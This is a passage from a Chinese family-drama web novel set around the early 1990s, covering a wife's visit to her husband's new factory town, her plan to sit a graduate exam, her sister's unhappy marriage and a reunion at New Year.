舒英唇角弯了弯,打心眼里为他感到高兴。 厂里五点下班,车间里的男工人勾肩搭背地从里面走出来,商量着晚饭要去哪吃,要 不要再来两瓶啤酒,女工人手挽着手,头发整齐地梳成麻花辫垂在胸前,笑着讨论哪家的衣服最好看。 舒英坐在轿车上往回望了下,恍惚之间好像觉得李固言也在这群人之中,明明一头的汗,脸上却仍溢着笑。 “小英。” 舒英回神,转头过来看着祁欣美听着她说话。 “小英,李工,你们今天就别住招待所了,我家住得下,外面哪里有家里住的舒服。” 舒英和李固言对视一眼,祁欣美再三邀请,接连拒绝不太好,便笑着点头应下:“那就麻烦祁姐了。” “麻烦什么,都是朋友,谷雨还叫我一声伯母呢,是不是,谷雨?” 几人笑起来,轿车向前开动,很快到一幢三层小楼前停下,他们从车上下来,祁欣美笑道:“小英,这就是我家了,看,能住下吧?” 舒英抬头看着眼前的别墅,气派典雅,很有江南味道。 还不等几人进去,就从屋里跑出来一个小男孩,小男孩长得白白净净,很有祁欣美的影子,他手里拿着一个玩具车,直扑到祁欣美怀里:“妈妈!” 祁欣美站起来,摸了摸小男孩的头笑着说:“这是我小儿子,叫耀武。” “耀武,叫小英阿姨,这是谷雨妹妹,这个是李叔叔。” 罗耀武站直,乖乖巧巧向几人一一问好。 舒英和李固言也笑道:“耀武好。” 罗家的厨师已经将晚饭做好了,几个人落座就能开吃。 祁欣美拍了拍耀武道:“去叫哥哥下来吃饭吧。” 罗耀武得了指令,噔噔磴就跑上楼。 饭桌上,宾主尽欢,祁欣美还特意坐到舒英旁边,边给她夹菜边介绍。 李固言将剔好的螃蟹肉放到谷雨碗里,看着她拿着小勺舀着吃,又给她剥了几个白灼大虾。 小谷雨吃得津津有味,吃完了后指着盘子里还要,李固言立马夹起筷子又给她剥了几个。 祁欣美见她爱吃,伸手将放虾的盘子端到李固言面前,一盘虾有半盘都进了谷雨的肚子,她光吃虾都吃饱了。 祁欣美看着她吃笑道:“能吃真好,我们家耀武就不行,吃一个都过敏。” “啊?耀武对这些过敏啊?”舒英有些惊讶。 “是啊,你说奇不奇怪,我们这一家子没一个对海鲜过敏的,除了他,一点点都不能碰,碰了就起红疹子。”祁欣美无奈地摇摇头。 吃完饭后,祁欣美领着几人到客房,“都打扫干净了,你们直接住下就行,里面有卫浴,你们今天折腾一天,肯定也累了,泡个热水澡有益于恢复精力。” 舒英看了眼房间点点头笑道:“祁姐,真是麻烦你了。” “这说的什么话,李工马上就是咱们长的一员大将了,只是在我们家住两晚算什么事。”祁欣美摆摆手,“行,那我就不打扰你们休息了。” 谷雨现在吃完饭,正有些犯困,眼皮重得都睁不开。 舒英有些好笑地把她放到床上,拉过被子盖住。 李固言等她弄完拉过她的手坐在怀里,搂着她的腰,声音有些闷闷地说:“你们后天就回去了,我现在就有点舍不得了。” 舒英摸了摸他顺滑的头发,安慰说:“没关系,就这一两年,这一两年过去,咱们就又能在一起了。” 两人静静坐了会儿,舒英抬眼看着房间说:“祁姐家这房子真漂亮,连客房都布置的这么好,房间里就有卫浴。” 李固言搂着她腰的手动了动,道:“我们以后也会有的,不管是楼房还是别墅都会有的。” 舒英看了眼酣睡的谷雨,脸上温柔地笑了笑:“好,我们一起努力,都会有的。” 第44章 第 44 章 同床异梦 舒英在这边又待了一天后, 就带着谷雨坐上了回去的火车。 在火车上,谷雨左看看右看看,最后不解地拽住舒英的衣角说:“爸爸?” 舒英把她抱起来, 坐在腿上, 看着她懵懂的眼神认真解释:“爸爸不跟我们一起回去,爸爸要在这里上班,等到过年就能见到爸爸了。” 也不知道她有没有听懂, 哦了一声后就拿着自己的小羊玩。 舒英摸了摸她圆鼓鼓的小脑袋,看着窗外。 谷雨在火车上又喊了几次爸爸,但无一例外,爸爸最终都没有出现, 她问一次,舒英就认真解释一次,没有敷衍,她一直觉得小孩子就算听不懂大人在说什么, 也能从大人说话的语气中感受到情绪。 到了家属院后, 舒英先把带回来的东西放好,牵着谷雨去给李固言打电话。 “嘟”的一声, 电话接通。 舒英道:“我们到家了。” 又把谷雨抱起来, 将听筒放到她耳边轻声说:“是爸爸。” 谷雨小手捧着比脸大的听筒,试探地喊道:“爸爸?” “哎!谷雨想爸爸吗?”李固言拿着听筒压在耳边,直恨不得能通过电话线钻到对面去。 “想!”听到爸爸声音,谷雨情绪明显高涨很多, 声音又响又甜,不住地喊着“爸爸”。 舒英笑着看她喊了一会儿后,就把听筒从她手里抽出来,放到耳边笑道:“火车上谷雨一直找你呢, 找不到你可失落了。” 听到这话,李固言思家的情绪更浓,眼眶不住泛酸,喉头也觉得有些哽咽,他往下压了压才继续说:“你跟她说爸爸过年就回去了。” “说了,小家伙也听不懂,一遍遍地问爸爸在哪。”舒英一边听着电话,一边留意着谷雨的动静。 这个话题不能再继续下去了,再说下去,眼泪真的就憋不住了,李固言提起笑容,问:“才到家吗?累不累,火车上没发生什么事吧?” “才到家,把东西放好就来给你打电话了,不累,一直躺着呢,火车上也没多少人,一切顺利。” “那就好。”李固言绕着电话线,所有的想念不舍都化成了一句句叮嘱。 “每天记得看天气预报,看看第二天下不下雨,要带把伞,或者你直接备一把伞在你医院,要不然再下了雨不好回来。” “夜里谷雨一般都会醒两次,一次要喝奶,一次要上厕所,都很快的,你弄好后就再搂着她睡。” “晚上早点睡,别又看书看到很晚,第二天还要早起上班。” 舒英听着他停不下来的絮叨,心里也有些酸涩,火车上谷雨的一遍遍询问,她一遍遍解释,其实何尝不是在安慰自己? 他们还是第一次要分开这么久,要改变已经习惯的生活方式,重新适应没有他的日子了。 挂了电话后,舒英牵着谷雨回家,谷雨不明白打电话是什么,只知道刚才听见了爸爸的声音,回到家后又开始到处喊“爸爸”,以为爸爸在家里的哪个角落,她一喊就会出来。 舒英为了转移她的注意力,拆开包裹,把从沪市带回来的蝴蝶酥拿出来递给她吃。 谷雨有了吃的,果然不再想爸爸在哪。 到了晚上的时候,李妈也过来了,看着家里叹了口气对舒英道:“平时不觉得,这突然少了个人,感觉冷清了许多。” 舒英笑了笑,把给她买的礼物给她。 对于李固言辞掉国营厂的工作,去离家那么远的宜州民营厂子,李妈其实是颇有微词的,觉得这样做实在是有些任性,工作上受了点委屈也是正常的,忍一忍也就过去了,大家不都是这么过来的吗?机械厂是多好的工作,多少人求都求不来的,他就这么说不要就不要了。 但孩子大了,有自己的想法打算,他们老一辈的就是再不同意也没用。 李妈问:“固言那个新厂子怎么样?真有他说的那么好吗?” 舒英正给谷雨冲奶呢,闻言回道:“规模上肯定是比不过咱们这厂的,但胜在开明,厂长和同事们人都挺好的,固言有本事到那受尊重。” 受尊重,李妈瞧着在这机械厂,李固言也是受尊重的,她叹声气,老了老了,想法跟这些年轻人不一样了。 吃了晚饭后,舒英就带着谷雨洗漱,洗漱好玩一会儿就上床睡觉。 灯一关,谷雨在舒英怀里抱着自己的小羊,很快就睡着,她睡着了,舒英却是有些难以入眠。 她看着旁边空出来的位置,那是属于李固言的,往常他就躺在那里,长臂一伸就把她们娘俩揽在怀里,身上的温度灼人,夏天的时候被她嫌弃得不行,一 到冬天,就恨不得长在他身上不下来。 舒英想到那些夜里有趣的小回忆,忍不住抿唇笑了笑,笑过之后却又觉得心里彷佛空了一块,这一块留在了宜州,只有等他回来的时候才能填补上。 她在安城望着他的枕头出神,而在宜州,李固言也在辗转反侧,眼神盯着一家三口的照片,手里紧紧攥着她们用过的手帕,宝贝似的贴着胸口。 今天是他们分开的第一天,也是李固言自己睡的第一天,他手里揉着手帕,只觉得怀里空荡荡的,往日里他都是抱着她们入眠,而从今天开始的很长一段时间都只能看着她们的照片入睡了。 清冷的月光从窗户照进房间,同时洒在两张床上,为一对夜里思念着对方的夫妻拼拢世界。 谷雨刚回来那段时间有事没事嘴里就要念叨两句“爸爸”,就连睡觉都要枕在李固言用过的枕头上才行,看得让人心有不忍。 后来念的频率就少了,舒英估计着,凭着她那小脑袋瓜子,应该是对李固言的印象越来越模糊了,等再过一段时间,她估计就彻底不念了。 这天周日,舒英提前跟舒秀珍约好的,带着俩孩子出来玩一玩,就约在了五一广场。 舒英到的时候,舒秀珍已经带着贝贝在玩了,贝贝手里拿着两串红彤彤的糖葫芦,一看到谷雨就跑过来给她。 谷雨拿着糖葫芦,颤巍巍的,还有点拿不动,舒英笑了笑,蹲下去接过糖葫芦凑到她嘴边,谷雨先是伸着小舌头舔了一口,甜滋滋的,眼睛都亮了亮,接着就是“啊呜”一大口,咬下了一半的山楂。 糖葫芦外面的糖衣甜,里面的山楂却是酸的,谷雨皱着小脸咧着嘴就要把糖葫芦吐掉,舒英连忙伸手去接。 两个大人看着谷雨一连串的小动作都不由大笑起来,舒秀珍存了逗她的心思,拿着她吃过的糖葫芦问:“谷雨还吃不吃?甜的。” 谷雨现在已然知道它里面是酸的了,撅着小嘴扭过头不搭理她,舒秀珍一挑眉乐了:“小家伙还挺有个性。”又用指腹戳了戳她脸。 谷雨有些不耐烦地“哼”了一声,又转过身躲着她。 舒英笑起来,弯腰把她抱到怀里。 相较于谷雨的不喜欢,贝贝却是吃得很开心,自己的那串吃完后还想要吃谷雨没吃完的那串,舒秀珍怕她吃太多会闹肚子,没给。 广场上有卖吹泡泡的,还有小孩拿着满场吹,舒英看见后给俩孩子一人买了一个,拿在手里给她们示范了一下怎么玩。 等她示范完,谷雨迫不及待地就要拿着自己吹,贝贝先是看了眼舒秀珍,等她点头同意后才从小姨手里接过。 舒英见状弯着腰把泡泡递到她手里笑着说:“小姨给的,不用先看妈妈同不同意。” 贝贝马上三岁了,这些话已经能听懂了,听完后歪着头看了她一眼,又不解地看了舒秀珍一眼。 舒秀珍瞪着眼有些不可置信,屈指在舒英头上敲了一下说:“你就是这么教我姑娘的?可别把贝贝给我教坏了。” 舒英立马捂住头,反瞪回去:“你这话说的,我可是她亲小姨!” “好好好,你是亲的你是亲的,我是旧的行了吧?” 她俩这边拌嘴,那边谷雨已经开始吹了,腮帮子鼓起来,彷佛要用尽全身力气一扬,小人儿顾头不顾尾的,一心都扑在泡泡上,管子倾斜了都没注意,还是舒英眼疾手快,连忙过去把管子从她手里抽出来,别把这泡泡液倒了一身。 她今天传的还是从沪市买的小洋裙呢,弄脏了可不好洗,她脚上穿着白色的小皮鞋,头上别了一个小皇冠,活脱脱的一个西洋小公主。 俩大人守着俩小孩吹了一会儿泡泡后,便开始问:“饿不饿?” 两孩子玩了这么久,也该累了,一齐点头。 舒秀珍跑业务,对安城上下好吃好玩的店铺简直是了如指掌,不过今天就她们姐妹两人,还带着俩可爱的小姑娘,就找了一家布置的很有格调的甜品店。 舒英还是第一次来这里,左右看看很是惊喜道:“安城还有这种店呢?”这种店她前段时间在沪市看到过,倒是不知道安城什么时候开的。 舒秀珍笑笑:“就前不久才开的店,我跟这老板认识,之前工作上打过交道,所以才知道的这家店。” 两个人带着孩子进去,挑了靠窗的位置坐,一人点了杯咖啡,给俩孩子点了小蛋糕。 舒秀珍翘着腿很是惬意的靠背坐着,端起咖啡杯抿了一口,问:“你跟固言你俩怎么打算的?” 李固言现在放弃机械厂的工作去了浙省,家里的人陆陆续续都知道了,舒妈没直接去问舒英,但心里还是担心的,拐着弯的从她这里打听。 舒秀珍自己也放不下心,两个人孩子还没到两岁呢,就分居两地了,能不让人担心吗? 舒英笑了笑,看谷雨吃得满嘴都是奶油,从口袋里掏出帕子扶住她的头给她擦了擦嘴,这才回道:“我是想考沪市的研究生,顺利的话94年就能去沪市了,他也准备在明年拼一拼,看能不能也到沪市去。” 考研这种话跟祁欣美没说,但跟自己姐姐就没什么隐瞒的必要了。 “考研?”舒秀珍惊讶地坐直身子,也不惬意了,也不翘二郎腿了,手里的咖啡杯放到桌子上,连忙又问了一遍,生怕是自己刚才听错了,“你说你要考研?” 舒英点点头,语气很是平常,还有闲心跟谷雨抢蛋糕吃,小朋友吃太多奶油也不好,“是啊,学校都想好了,就沪大。” “沪大?”舒秀珍破声,店里彷佛一瞬间安静下来,她扭头看了看,连忙用手捂住嘴歉意地向四周点了点头,又压着声音说,“你说你要考沪大的研究生?” 沪大谁不知道啊?鼎鼎有名的名校,名头可比省工业大学响多了。 舒英顶着谷雨不满的眼神里咽了一大口蛋糕,好笑地看着她跟仓鼠护食一样把剩下的一小小半蛋糕往另一个方向推,自然地反问:“对啊,不行吗?” 不行吗? 舒秀珍想了想,吊起来的心又落下去,自己点点头,好像也行,她去年不是才把自考考了,拿到了本科毕业证吗? 想通了之后她又重新恢复了惬意,看了一眼乖乖巧巧吃蛋糕的贝贝,真是一点不让人操心,她又端起咖啡杯喝了一口,才说:“虽然让人觉得不可思议了点,但仔细想想,好像又没有什么,不就是一个研究生吗?” 其实也是她现在脱离了纺织厂,又因为跑业务而见识到更广阔更丰富的世界,才觉得这件事好像也没有那么让人难以接受,但若是换了一个人可不会这样认为,他们会觉得,你一个已婚妇女,还有了孩子,怎么能不顾家庭去折腾这些呢?还考研,你不如去烤馒头。 舒英笑起来,自考的成功让她现在充满了自信:“对啊,不就是一个研究生吗?我觉得我能考上。” 舒秀珍杯子里的咖啡见底,她一口气全喝掉,瞥了她一眼后说:“我记得你上初中那会儿成绩一般来着,怎么现在又是自考又是考研了。” 舒英笑笑,她初中成绩的确一般,她那时候成绩一般也正常,天天上课下课不是打毛衣就是剪纸做小动作,成绩能好就怪了,就这能考上卫校都已经很不错了,现在想想,其实感觉那时候班里的人真正用心学习的好像也没几个。 后来她去了卫校后反而用心学习了,这才能被分到市里的医院,要不然成绩再差点就只能去乡镇了。 谷雨和贝贝已经把各自的小蛋糕都吃完了,脸上擦掉的奶油不知道什么时候又沾了上去,两个妈妈看了都一齐笑起来,又掏了帕子给她们重新擦。 谷雨的蛋糕虽然被妈妈吃掉了一大半,但还是吃得很满足,吃完了蛋糕又有点口渴,她睁着乌亮的一双眼睛,澄澈地看着舒英说:“喝水水。” 舒英连忙从包里掏出她的杯 子,杯子里的水已经凉了,问老板又添了点热的,才给她喝。 两个小朋友抱着杯子面对面地喝水,小肚子又吃又喝的,已经都圆鼓鼓起来。 舒英笑道:“马上午饭都吃不下了。” “她们不吃咱俩吃。”舒秀珍对这些不太在意,摆摆手说,“等她们饿了再吃也一样,小孩子饿得快。” 舒秀珍说完看了一眼谷雨,又问:“那按照你说的,最快也得等到后年,你们一家子才能在一块,而且万一要出现了点什么意外,后年都不一定,固言一个人在宜州,你也不担心?” 这时候这种事情可不少发生,现在改革开放的大潮,安城地处内陆平原,不少人或下海经商,或到南方城市打工,夫妻分居异地,老婆在老家老实守着孩子,等着男人寄的钱过活,而男的呢?他们可不安分,到了那边还要找人再搭个伙,做个什么临时夫妻。 舒秀珍这段时间可听说了不少这种事,就是亲眼见的也不再少数。 妹妹和妹夫感情上一直挺恩爱的,她可不想见到妹妹跟那些女人一样,苦苦在家守着,年年就等着过年那几天跟丈夫团聚一下。 这个话题从李固言离开后,跟舒英关系亲近点的都没少问她,她也知道她们是关心她,但问多了也是烦的,就都敷衍了事。 但跟自己家人就不好敷衍了,舒英把自己内心的真正想法拿出来跟舒秀珍道:“说实话我是真的不太担心,因为李固言他就不是那样的人,在这一点上我还是相信他的……” “知人知面不知心,就算是同床的夫妻还异梦呢,那出去打工的男人,哪个老婆不相信他们,可结果呢?结果就是咱们看到的那样。”舒秀珍刚听到这里没忍住打断她,她也是怕她太相信他,到最后自己吃了亏! 舒英耐心听她说完后才继续道:“姐,你这种我也想过,若是他真是不可托付,我也不会留恋了。现在不像是旧社会,现在人和人都是独立的,谁也不依附谁而活,我有自己的工作,也有工资,离了他我照样能活得很潇洒。” 舒秀珍忍不住看了一眼谷雨,小小的孩子懵懵懂懂的,身上穿着漂亮的公主裙,她问:“你真舍得?” 现在夫妻离婚,一般都是默认孩子跟着爸爸,舒英顺着她的目光看了一眼谷雨,笑了笑:“那我要是真离婚,我肯定是要把谷雨带走的。” 李固言也是无妄之灾,好好地在宜州两点一线的上班,这边妻姐已经拉着妻子开始考虑离婚后孩子跟谁了。 舒秀珍听了她这话后却有些沉默,扭头看着贝贝若有所思。 良久后她才道:“其实我现在跟你姐夫已经分床睡了。” 这下轮到舒英震惊了,她微张着嘴,问:“……真的?为什么呀?” 夫妻分床睡其实也算是一件很常见的事,但往往都发生在中老年夫妻身上,两个人睡在一起睡不好才会分床睡的。 可舒秀珍和严磊还这么年轻…… 舒秀珍苦笑了一下说:“还能为什么呢?我和他从我产假休完,贝贝没人带开始就有矛盾了,后来贝贝一直放在妈那看着,你建议我把贝贝接回来,接回来后他也是一直不管不问的,放学了也不知道去接一下,你说我跑业务,上下班时间哪有那么固定?有时候下了班去接她,就看见她可怜巴巴的一个人待在老师办公室里等着,同学都走完了。我跟严磊因为这事又大吵一架,谁也说服不了谁,后来我又请了保姆,这才好一些。” “但这件事过后,我对他是真的失望了,你知道吵架的时候他跟我说什么吗?”舒秀珍身子微微前倾,靠近舒英。 舒英问:“说什么?” “他说我现在挣得这么多,谁知道干不干净。”舒秀珍又是苦笑一声,业务哪里是这么好跑的,要跟人应酬,跟人喝酒,酒桌上还都是大老爷们,公司里她业绩最好,就没少被人造谣,结果她自己的丈夫都不向着她,不相信她,“他这一句话是彻底伤到我的心了,我现在看见他都觉得浑身发抖,我不敢想象每天睡在我旁边的最亲密的人竟然在背后这样想我。” 舒英听着听着拳头就攥紧了,呼吸越来越急促,恨不得现在就冲到严磊面前给他一拳,这个死严磊,真是不想活了,她都恨得咬牙,就更不要说舒秀珍了。 她皱着眉有些心疼地问:“你怎么不早告诉我?” 舒秀珍有些无力地用手撑着头,回道:“一开始是不知道怎么说,后来也不想说了,觉得夫妻间不就那么回事儿吗?大家都是凑活着过,我也就这样过得了,就权当为了贝贝有个完整的家庭。” 舒英对她这个想法又是恨铁不成钢,又是心疼,到底是她亲姐,当年生贝贝的时候都去了半条命,她道:“这种婚姻还有什么好维持的?贝贝也不见得就喜欢这种家庭氛围,他当爹的连接孩子放学都做不到,你还指望他以后能对贝贝有多好?” “是啊……”舒秀珍喃喃,“我还指望他什么呢?家里的钱大头都是我在赚,我和贝贝也不用靠着他脸色过活……” 第45章 第 45 章 过年团聚 舒英还没等她说完, 当下拍板:“离婚!必须离婚,你现在的工资完全能覆盖你和贝贝的生活成本,留着他反而累赘, 他会是一直是贝贝的爸爸, 离了婚也是,但他不能一直是你的丈夫,现在离过年还有很长一段时间, 你在过年前就离了吧,就别留着他过年了。” 贝贝听到自己的名字抬头看了她一眼,甜甜地绽出一个笑容,看得人心软。 舒秀珍垂下眼点点头, 她现在和严磊已经没有感情了,她看见他就想起他那些伤人的话,那些话让她恶寒不止,这种话谁都能说, 谁说她都可以不在意, 唯独他,唯独他严磊, 她舒秀珍的丈夫不能说! 舒英刚得知这些事, 对舒秀珍很是心疼,心里像是在流血一般难受,眼眶发热酸涩,她拼命地眨眼, 才将眼泪憋回去。 她们姐妹俩一母同胞,从小一块儿长大,也会打也会闹,但好的时候也能穿一条裤子, 侃天侃地地向往着未来的生活。 她看不得严磊这么糟践她。 舒秀珍看到她眼眶里的泪,立马笑了笑说:“多大的人了,还要掉猫尿。” 舒英用手指把眼泪抹去,声音被糊住般说:“你必须得离婚,让他自己一个人过去,他不是最听他妈的话吗?让他跟他妈过去。贝贝刚出生的时候,他爸给起的什么‘严红梅’的名字,我看就是故意的。” 说起这些陈芝麻烂谷子的事儿,舒秀珍有些哭笑不得,也许当时人家真是真心的吧,只是这真心有几分就不知道了。 舒秀珍也有些感慨道:“你说结婚前我看的那些小说、那些电视,许文强冯程程,多让人羡慕,那时候我多想也找一个知心人,一辈子恩恩爱爱的,结果现实当中有多少夫妻能跟小说里似的,爱的死去活来的?结了婚啊,都那样。” 她说完看向舒英,眼睛有些湿润,真挚道:“我希望你的婚姻跟我不一样。” 舒英眨眨眼,将泪憋回去,露出一个像哭一样的笑,点点头说:“会的,我会幸福的。” …… 李固言是十月底留在宜州的,定了1月14回来的火车,正好能赶在小年前回来,相较于往年的几天假期,他今年的假就多了。 舒英这天特意带着谷雨去接,一路上跟她说了几回马上就能见到爸爸了,她瞧着谷雨都有些心不在焉的,她也就不说了,她觉得谷雨现在脑子里对‘爸爸’这个词这个人,应该只剩一点模糊的影子了。 临近过年,火车站人多,舒英紧紧抱着谷雨,生怕被冲散了,这年头拍花子也不少,就光是安城就听说过好几例了。 舒英抱着 谷雨也不跟人搭话,抻着头踮着脚就使劲往里瞧,算着李固言的车什么时候到,赶到春节车次多,晚点的车也多,一晚点,时间就不可估摸了。 好在李固言乘坐的火车没晚多久,他大包小包地下车,顿都不打就朝着出站口走,眼角眉梢都是笑,连带着步伐都轻快许多,只是分开这几个月,他实在是想念她们,夜夜都只能抱着她们的照片入睡。 李固言个子高,在人群里十分显眼,舒英抱着谷雨一眼就看见了,连忙冲着他招手,示意他自己在这。 李固言一出来也是在寻着娘俩的身影,眼睛四处瞟,很快锁定她们,拎着东西就大步跑起来,也不嫌包裹重。 到了跟前,口中哈着白气,他看着她们,东西一放下,就拥上去将两人一起抱在怀里。 连日的思念终于在这时得到缓解,就算周围的目光都投射过来,两人也浑然不在意,等抱够了,李固言才后退一步,脸上仍带着笑,看着舒英道:“我好想你,还有谷雨。” 他一回来,舒英觉得自己好像突然有了可以撒娇的人,扁了扁嘴蹙着眉说:“我也想你了。” 李固言看着她撒娇的可怜样,忍不住有些心疼,伸手在她脸上蹭了蹭,道:“回家,咱们回家。” “嗯!回家。” 回他们自己的家。 李固言重新把大包小包拎起来,拽在手里,两个人并肩朝路上走,坐上出租车后,他看着谷雨想要抱过来亲近亲近。 谷雨躲过去,缩在舒英怀里。 舒英笑道:“她现在又不认识你了。” 这话不免有些残忍,李固言鼻子一酸,眼眶就开始发热,他小心翼翼地伸手想要摸一摸谷雨,谷雨只是警惕又好奇地看着他,眼神里充满了陌生。 李固言哑着声音道:“谷雨,我是爸爸呀,你不认识爸爸了吗?” “爸爸?”谷雨抬头看着舒英问了一声。 舒英点点头:“对啊,是爸爸,你不是想爸爸了吗?” 谷雨的警惕心下降了点,但还是不肯让李固言抱,李固言笑着自我安慰:“没事,待两天就熟悉了。” 舒英伸手把谷雨头上的帽子扶正,心中也叹了一口气,父女俩几个月没见,谷雨太小了,记不住。 李固言忍不住就要看着谷雨,看她跟自己刚离开时又长大了多少,又发生了哪些变化。 谷雨今天带着小帽子围着小围巾,手上还有毛绒绒的手套,浑身上下都干干净净的,小脸也白白嫩嫩,小孩子爱玩爱撒泼,往往换上一身干净衣服后没多久就又被弄脏,谷雨这样一看就没少费工夫。 李固言握住舒英的手,轻轻揉了揉,抿着唇有些愧疚道:“这段时间你辛苦了。” 舒英听到这话也有点想哭,他没走前,孩子的很多事都被他分担掉,夜里起夜,白天洗尿布,空闲时陪孩子玩耍,他离开后,这些就又落到她身上,怎么会不辛苦呢? 她歪着头靠在他肩膀上,轻轻摇摇头没说话。 到了家属院,刚把东西从车上拿下来,还没进去就引起了一阵小轰动。 家属院都是在机械厂上班的,谁不知道李工被逼走的事?现在他过年回来了,可不就是有热闹了。 立马就有人上来问:“李工,你在那边咋样啊?跟咱们厂比呢?” “李工,你这以后还回来吗?” “李工……” “……” 问话的人太多,李固言也没办法回答,就只是微微笑着,拎着东西往家走,一群人又跟在他们后面一块儿到了李家。 李妈正站在家门口等着呢,刚才李固言一下车就有热心的小孩跑过来跟她说了。 她也有一段时间没看见儿子了,正关心他在那边过得怎么样,吃的好不好,住的好不好,头一伸看到儿子后面跟着这么多人也有些诧异,转念一想又明白过来,连忙帮着接过李固言手里的东西,打发这群邻居道:“这刚回来了,坐了这么长时间火车,也累了,先让他歇歇,等回头我再请大家来家里玩啊。” 这也不过是客套话,谁知道回头是多久? 大家也都知趣,听了这话后又跟李妈不咸不淡地寒暄了几句后就都散了。 打发了这群人,李妈赶忙把院门关上,拉着李固言就是前后左右地打量,心疼得不行:“哎呦,瘦了瘦了,这才多久,瘦了一大圈了!” 这话就夸张了,瘦肯定是瘦了点的,但哪里会有一大圈,不过这是她当妈的心疼儿子。 李固言笑起来说:“那边的饭没妈做的好吃,可不就要瘦了吗?” 李妈听他还有闲心开玩笑,伸手拍了他一下,又笑道:“我锅里正煲着汤呢,还炒了你喜欢吃的红烧肉,待会儿多吃点,都给补回来。” “好。” 他们母子俩说笑,谷雨就扒着舒英的腿瞧,一会儿看看奶奶,一会儿又看看那个有些陌生的男人,看了一会儿后,她蹬着腿要从舒英身上下来。 李固言注意到她的动作,等她站在地上后蹲下来问:“谷雨要干嘛呀?” 谷雨盯着他也不说话,转身跑回了房间,还把门给关上了。 李固言看着关上的房门,心中说不出来的难受,甚至想过完年就不回去了,就去这么几个月,谷雨就不认识他了,明年再在那待一年,谷雨真的还能跟他这个爸爸亲近吗? 舒英伸手拍了拍他说:“小孩子害羞,你哄她玩两天就好了。” “嗯。”李固言还是有些失落。 就在这时,房间门又被打开,谷雨抱着自己的小羊玩偶站在门口,眼睛盯着李固言瞧,李固言被闺女盯着,立马将刚才的失落抛掷脑后,屁颠屁颠的又跑到闺女跟前蹲着。 谷雨歪着头看了他一会儿,伸手将小羊玩偶递给他。 李固言当然知道这是闺女最喜欢的玩具,他接在手里瞬间有些受宠若惊,说话都有些不利索:“谷、谷雨,你要把这个给爸爸吗?” 谷雨看了眼后面的妈妈,矜持地点了点头。 舒英见状立马笑起来,她就知道谷雨对他肯定是有印象的,就算忘也忘不了那么干净,只是分开太久,对孩子来说有点陌生了而已。 李固言拿着小羊,开心得简直要蹦起来,眼底一湿,心中暖流涌过,他克制着自己没伸手紧紧搂住谷雨,怕吓到她。 刚才还沉浸在闺女不记得他的悲伤里,这下又被闺女一个小动作哄得乐不可支,李妈看了都忍不住笑。 晚上一家三口久违地躺在一张床上睡觉,除了没心没肺的小家伙,两个人都有点睡不着,声音轻轻的互相分享这段时间各自生活中的趣事。 李固言看着她,深邃的大眼睛中蕴含着浓郁的情感,他抬手拨去她耳边碎发,随手在她耳垂处揉捏了下,道:“你瘦了很多。” 舒英动了动,又靠近他一点,双手交叠枕在脸下,看着他道:“你也瘦了。” 他的手还在她脸边摩挲,唇边漾开一抹笑,看着她在夜里也十分明亮的双眸,俯身倾过去在她额间印下一吻,舒英闭上眼,感受他唇上的温度,和唇下的情感。 灼热的双唇向下流连,终于碰触到她柔软的唇瓣。 小别胜新婚,干柴遇烈火。 李固言这次假到底放的时间长,天天在家里带着谷雨玩,没两天就让谷雨跟他亲近起来,变成了他的小跟屁虫,整天就是“爸爸爸爸”的喊着。 李固言也不腻,天天带着闺女招摇,一天四趟地接送舒英。 医院里的同事看热闹地瞧了两天,都打趣道:“舒英,你这是又怀孕了?”怀谷雨的时候可不就是这样跟宝贝似的吗? 舒英笑起来:“不怀孕就不能接送啦?” “能能能!” 舒英说是这样说,背过身去却要在李固言腰间拧上一把,来就来了,还带着谷雨一块,还要把谷雨放脖子上骑着,本来人就高,再叠个小人,在人群里更是瞩目了。 李固言被拧也不躲开,还偏要往她身上凑,可怜巴巴地叫唤着:“疼,疼。” 舒英看他这样子,又有些过意不去,怕真给他掐狠了。 谷雨还在他脖子上骑着呢,听到爸爸喊疼,小手按住他脑门就要看哪疼,李固言没被舒英掐疼,倒要被闺女把眼睛抠瞎。 舒英见状笑起来,连忙帮着把谷雨的手抬开,嘴里还要嘲笑他道:“让你能, 现下不能了吧?” 李固言嘿嘿笑,大手紧紧抓住谷雨的两条小短腿,在路上一会儿快走一会儿慢跑,直把谷雨笑得停不下来,拍马拍着他让继续。 舒英慢慢走在父女俩后面,看着他们俩玩闹,脸上扬着笑,寒冷的冬日里,一颗心暖洋洋的。 到了家属院门口,有卖糖葫芦的,李固言停下来,眼睛上抬,手指着糖葫芦问:“谷雨吃不吃这个?” 卖糖葫芦的大爷赶忙在旁边推销:“甜的,小孩子都喜欢吃,你给她买一个她肯定喜欢。” 谷雨看着草靶子上的糖葫芦,小脸立马皱起来,脑袋跟拨浪鼓似的摇起来。 李固言看不到她摇头,只感受到她在动,以为他想吃,从口袋里掏钱就要买两个。 后面跟上来的舒英道:“她不吃这个,上次姐给她买一个,尝一口就要吐掉,嫌里面的山楂酸。” 大爷瞧着李固言手里的钱还不想放弃,忙说:“糖葫芦都这样,酸酸甜甜的,吃两个就喜欢了。” 李固言钱拿都拿出来了,谷雨不吃,那就大人吃,他道:“那来三个吧。” “好嘞!”大爷利索地从草靶子上拿了三串下来。 舒英笑了笑,从大爷手里接过拿在手里,一根签上六颗圆滚滚的山楂,上面裹了晶亮的糖衣,是他们小时候难得吃一次的零食了。 买完糖葫芦,李固言又驮着谷雨一颠一颠地进了院子。 舒英紧跟其后,李妈听见动静,擦了擦手从房间里出来,笑道:“回来啦,饭就做好了,马上就能吃。” 舒英手里攥着三串糖葫芦,看见她就笑起来把糖葫芦喂到她嘴边:“妈,尝尝,你儿子买的。” “好吃!”李妈笑着咬了一颗含在嘴里,又说,“行,你们洗洗手吧,马上就能端碗吃饭了。” “好。” 今年除夕,舒英得值班了,但好在还不是夜班,五点下了班还能回家吃个年夜饭。 冬天的早晨总是格外难起,但对孩子来说却不是这样,谷雨早早就醒来,在被窝里睁着两个大眼睛,扭着头看看爸爸,又转过去看看妈妈,见他们都睡得正香,干脆掀开被子起来去找自己的小羊玩。 舒英一睁眼,入目的是李固言结实的胸膛,她脑子迷迷糊糊地觉得有些不对劲,反应了一会儿后猛地坐起来,环顾四周去找谷雨在哪。 谷雨正坐在她后面拿着小羊自玩自乐呢,舒英一把把她薅过来,动作迅速地塞进被子里,寒冬腊月里的,就算在屋里,也不能就穿着单衣坐床上玩。 李固言也被她这一连串的动作弄醒,看着还扑腾着要出去的谷雨被舒英训:“老实点,不老实冻感冒了还带你去打针。” 这句话一出,杀伤力十足,谷雨瞬间安静下来,甚至还往李固言怀里躲了躲,看得让人好笑。 之前她生病带她去打了两次针,哭得龇牙咧嘴的,从此就记住了。 